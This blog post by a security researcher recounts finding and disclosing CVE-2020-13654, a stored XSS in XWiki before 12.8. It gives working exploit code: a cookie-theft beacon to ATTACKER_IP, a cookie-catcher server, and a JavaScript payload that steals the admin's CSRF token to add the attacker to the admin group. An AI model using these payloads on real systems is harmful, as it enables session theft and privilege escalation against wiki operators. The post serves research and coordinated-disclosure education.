Finding your first CVE is one of those things that stays with you. Not so much for the assigned number, which is ultimately just an identifier in a database, but for the process: the moment you realize the bug is real, that nobody has reported it before you, and that you have the responsibility to handle it correctly. I’m telling this story in this post from start to finish: the discovery, the exploit, and finally the responsible disclosure process with MITRE.
The Vulnerability: What Happens When You Forget to Escape
XWiki is an enterprise wiki written in Java, widely used in corporate and academic environments. The templating engine used for page rendering is Velocity, and here lies the root of the problem.
In versions prior to 12.8, some user profile fields, particularly the “Company” field in the Edit → Personal Information section, were written to the DOM without any sanitization. The vulnerable Velocity code did something like this:
## Direct output, no encoding
$xwiki.getUserProperty($user, "company")
The fix introduced in 12.8 was straightforward: pass the value through $escapetool.xml(), which converts special HTML characters (<, >, ", etc.) into their respective entities before rendering:
## Safe output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
Without this escaping, any string saved in the field gets injected directly into the profile page’s HTML. The field is editable by any authenticated user, including freshly registered accounts with no privileges, and the profile page is visible to everyone, including administrators.
The classic recipe for a Stored XSS.
| Field | Detail |
|---|---|
| CVE | CVE-2020-13654 |
| Product | XWiki Platform |
| Versions affected | < 12.8 |
| CVSSv3 | 7.5 (High) |
| CWE | CWE-116 - Improper Encoding or Escaping of Output |
| Fix | XWiki Platform 12.8 |
Building the Lab with Docker Compose
Before writing a single payload, I set up a reproducible environment. Using Docker for labs like this is the right choice: you can destroy and recreate the environment in minutes, test in isolation, and have an exact version of the vulnerable software without managing dependency conflicts.
The docker-compose.yml runs three services:
- XWiki 11.10.5 (vulnerable sample version, pre-12.8) on Tomcat
- PostgreSQL 13 as the database backend
- A minimal exploit server in Python that serves the payload and collects callbacks
services:
xwiki:
image: xwiki:11.10.5-postgres-tomcat
container_name: cve-2020-13654-xwiki
ports:
- "8080:8080"
environment:
DB_USER: xwiki
DB_PASSWORD: xwikipassword
DB_DATABASE: xwiki
DB_HOST: db
depends_on:
db:
condition: service_healthy
db:
image: postgres:13
environment:
POSTGRES_USER: xwiki
POSTGRES_PASSWORD: xwikipassword
POSTGRES_DB: xwiki
healthcheck:
test: ["CMD-SHELL", "pg_isready -U xwiki"]
interval: 10s
retries: 5
docker compose up -d
The official XWiki Docker image performs initialization on first boot that takes a few minutes. Before the database is populated, the frontend responds with generic errors. You need to wait until the xwiki container stops logging and the home page responds correctly. The app is then ready for the initial wizard at http://localhost:8080.
First Attempt: Cookie Theft
The classic payload for a Stored XSS is session cookie theft. The idea is simple: inject a script that reads document.cookie and sends it to your server via an HTTP beacon.
I created a mini HTTP server in Python that listens on a port and logs anything that arrives in the query string:
class CookieCatcherHandler(BaseHTTPRequestHandler):
def do_GET(self):
params = parse_qs(urlparse(self.path).query)
victim_ip = self.client_address[0]
cookie = params.get("c", ["<empty>"])[0]
logger.info(f"HIT from {victim_ip}: {cookie}")
# responds with a 1x1 transparent GIF to avoid browser errors
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.end_headers()
self.wfile.write(b"GIF89a\x01\x00\x01\x00\x00\xff\x00,...;")
And the payload injected in the “Company” field:
<script>
new Image().src = "http://ATTACKER_IP:9000/?c=" + encodeURIComponent(document.cookie);
</script>
The mechanism works like this: when a user visits the profile, the browser executes the script, constructs the URL with the document.cookie value, and loads the image that doesn’t exist, but the server logs the request before the browser even realizes it’s not a valid image.
I verified that the payload was correctly stored by checking the profile page source. The <script> tag was there, raw, without any encoding. ✅
I tested with a separate admin session: I opened an incognito browser, logged in as Admin, and navigated to the attacker’s user profile.
The server received the request. But the cookie was empty.
The Roadblock: HttpOnly
When the cookie came back empty, the first thing I did was open DevTools → Application → Cookies on XWiki and check the flags.
JSESSIONID ABC123... HttpOnly ✓ Secure ✗ SameSite: Lax
HttpOnly.
The HttpOnly flag on a cookie instructs the browser not to expose that cookie to the JavaScript API. document.cookie only returns cookies without HttpOnly, so the JSESSIONID, Tomcat’s session cookie, was completely invisible to the JavaScript payload.
This is exactly the kind of roadblock that makes you stop and think. You need to find another way.
Thinking Laterally: From Cookie Theft to CSRF-Driven Privilege Escalation
If I can’t steal the cookie, I can still use the admin’s session while they’re in their browser. This is the principle of Cross-Site Request Forgery: the admin’s browser already has an authenticated session with XWiki, so any HTTP request that JavaScript makes to XWiki, within the limits of the Same-Origin Policy, gets sent with the session cookies automatically.
The question then becomes: what can I do as admin on XWiki that’s worth automating?
A valid answer: add my user to the XWikiAdminGroup.
How Group Management Works in XWiki
XWiki manages groups as special wiki pages. XWikiAdminGroup is the page that contains the list of members with administrative privileges. Adding a member to the group is done via a POST to that page with the xpage=adduorg parameter.
By intercepting traffic with Burp Suite while manually adding a user to the group from the admin interface, I identified the request:
POST /bin/view/XWiki/XWikiAdminGroup HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=<admin_session>
Content-Type: multipart/form-data
form_token=<csrf_token>&xpage=adduorg&name=XWiki.attacker
There are two critical ingredients: the JSESSIONID (automatically managed by the browser, not accessible via JS) and the form_token, XWiki’s anti-CSRF token.
Extracting the CSRF Token via JavaScript
The form_token is different from the cookie: it doesn’t have the HttpOnly flag because it needs to be accessible to client-side code to be included in forms. XWiki exposes it in two ways depending on the version:
- As
<input type="hidden" name="form_token" value="...">within forms - As a
data-xwiki-form-tokenattribute directly on the<html>element
JavaScript can read both without issues. So the plan is:
- Make a
fetch()to/bin/view/XWiki/XWikiAdminGroup - Parse the response HTML with
DOMParser - Extract the
form_token - Make a second
fetch()with a POST to the same endpoint, including the token and the attacker’s name - Send the result to the server
All of this runs in the admin’s authenticated browser session, and XWiki sees legitimate requests signed with a valid CSRF token and a valid session cookie. There’s no way to distinguish them from normal human interactions.
The JavaScript Payload
(async () => {
const catcherUrl = new URL(document.currentScript.src).origin;
const log = (msg) => new Image().src = catcherUrl + '/?c=' + encodeURIComponent(msg);
const getToken = (html) => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const input = doc.querySelector('input[name="form_token"]');
if (input) return input.value;
const htmlTag = doc.querySelector('html');
return htmlTag ? (htmlTag.getAttribute('data-xwiki-form-token') || '') : '';
};
try {
const attackerUser = XWiki.currentSpace + '.' + XWiki.currentPage;
log('START_PRIVESC_FOR_' + attackerUser);
const groupUrl = '/bin/view/XWiki/XWikiAdminGroup';
const html = await (await fetch(groupUrl)).text();
const token = getToken(html);
if (!token) { log('ERR_TOKEN_NOT_FOUND'); return; }
const fd = new FormData();
fd.append('form_token', token);
fd.append('xpage', 'adduorg');
fd.append('name', attackerUser);
const resp = await fetch(groupUrl, { method: 'POST', body: fd });
log(resp.ok ? 'SUCCESS_ELEVATED_' + attackerUser : 'FAIL_HTTP_' + resp.status);
} catch (e) {
log('ERR_' + e.message);
}
})();
An elegant detail: document.currentScript.src contains the full URL from which the script was loaded. Using new URL(...).origin we derive the base URL of our server without having to hardcode it in the <script> tag stored in the profile.
The Stored XSS Tag
In the profile’s “Company” field, instead of the classic <script>alert()</script>, I injected:
<script src="http://ATTACKER_IP:9000/payload.js"></script>
XWiki does no encoding: the tag is saved to the database and rendered to every visitor’s browser as-is.
Complete Exploit Chain
Attacker (low privilege)
│
├─ 1. Register account → Login
├─ 2. Inject <script src="http://attacker/payload.js"> in the "Company" field
├─ 3. Start exploit server (serves payload.js + logs beacons)
▼
Poisoned XWiki profile: http://xwiki/bin/view/XWiki/attacker
│
├─ Admin visits the profile (even unintentionally, e.g. via user list)
▼
Admin's browser executes payload.js
│
├─ fetch GET /bin/view/XWiki/XWikiAdminGroup → extracts form_token
└─ fetch POST /bin/view/XWiki/XWikiAdminGroup
form_token=<valid_csrf_token>
xpage=adduorg
name=XWiki.attacker
│
▼
XWiki adds "attacker" to XWikiAdminGroup ✅
│
├─ beacon → "SUCCESS_ELEVATED_XWiki.attacker"
│
▼
Attacker is now admin
Everything happens silently: no alerts, no redirects, nothing visible to the admin. Zero interaction required beyond the single profile visit.
You can find the repository where I made the complete PoC available, including the Docker lab and exploit server, here: Astaruf/CVE-2020-13654.
Responsible Disclosure: How It’s Done, Step by Step
Having a working exploit is not the end. In fact, it’s the moment when the most delicate part begins. The principle of responsible disclosure (or coordinated disclosure) says that when you find a vulnerability in software, you have the responsibility to inform the vendor before making any details public, giving them time to release a fix.
Why It Matters
It’s not just an ethical matter. Responsible disclosure protects end users who are still using the vulnerable software, builds your reputation as a serious researcher, and in most jurisdictions reduces (but doesn’t eliminate) the legal risks associated with security research.
Step 1: Finding the Reporting Channel
The first place to look is the SECURITY.md in the project’s GitHub repository, if it exists. Alternatively, many vendors publish a dedicated email address like security@vendor.com, or use platforms like HackerOne or Bugcrowd.
For XWiki, the GitHub repository has a security policy indicating how to contact the team. I prepared a structured report that included:
- Vulnerability description: type, CWE, affected endpoint/field
- Affected versions: confirmed on 11.10.5, presumably all versions < 12.8
- Proof of Concept: minimal payload to reproduce the XSS and detailed steps
- Impact assessment: cookie theft scenario + privesc via CSRF scenario
- Fix suggestion: apply
$escapetool.xml()to the Company field and other profile fields
Step 2: Coordinating the Fix
The XWiki team responded professionally and confirmed the bug. We agreed on a time window before public disclosure to allow them to develop and release the fix. The patch arrived in version 12.8.
Step 3: Requesting the CVE from MITRE
A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a vulnerability in the system managed by MITRE. Having a CVE assigned to your discovery is important because it allows the security community to uniquely reference the vulnerability, in security advisories, scanners, databases like NVD.
To request a CVE, there are two main paths:
- Through a CNA (CVE Numbering Authority): if the software vendor is itself a CNA (like Microsoft, Google, etc.), they can directly assign the CVE. XWiki was not a CNA at the time.
- Directly to MITRE: by filling out the form at cveform.mitre.org
I used the second path. The form requires:
- Vulnerability type (CWE)
- Affected product, versions, vendor
- Technical description of the vulnerability
- Proof of concept or public references
- Reporter’s contact information
An important detail: MITRE does not assign CVEs to vulnerabilities that are not yet fixed or not coordinated with the vendor (as a general rule). Having a fix already in production on XWiki 12.8 made the request easier to process.
Step 4: The Assignment
After a few weeks, MITRE responded by assigning the identifier CVE-2020-13654. The entry then appeared on NVD (National Vulnerability Database) with the CVSSv3 score automatically calculated by the NVD team: 7.5 High.
The score takes into account:
- Attack Vector: Network, exploitable remotely
- Attack Complexity: Low, no special conditions required
- Privileges Required: Low, just a registered account is enough
- User Interaction: Required, the admin needs to visit the profile
- Scope: Changed, the impact goes beyond the attacker’s account context
- Confidentiality / Integrity / Availability: High / High / None
The fact that privilege escalation was possible likely influenced the score toward the High range despite the User Interaction Required.
Conclusion
This first CVE taught me multiple things in parallel: the value of reading rendering templates when doing code review, the importance of the HttpOnly flag (and what happens when it is there, you need to go deeper), and how the responsible disclosure process works in practice, not just in theory.
The most interesting moment was the pivot: realizing the cookie was inaccessible and having to reconsider the threat model. The admin’s browser is an authenticated client, even if I can’t extract their credentials, I can still use them to make requests on their behalf. The CSRF token was the only missing element, and JavaScript could read it freely.
The complete PoC with integrated exploit server is available on GitHub: astaruf/CVE-2020-13654.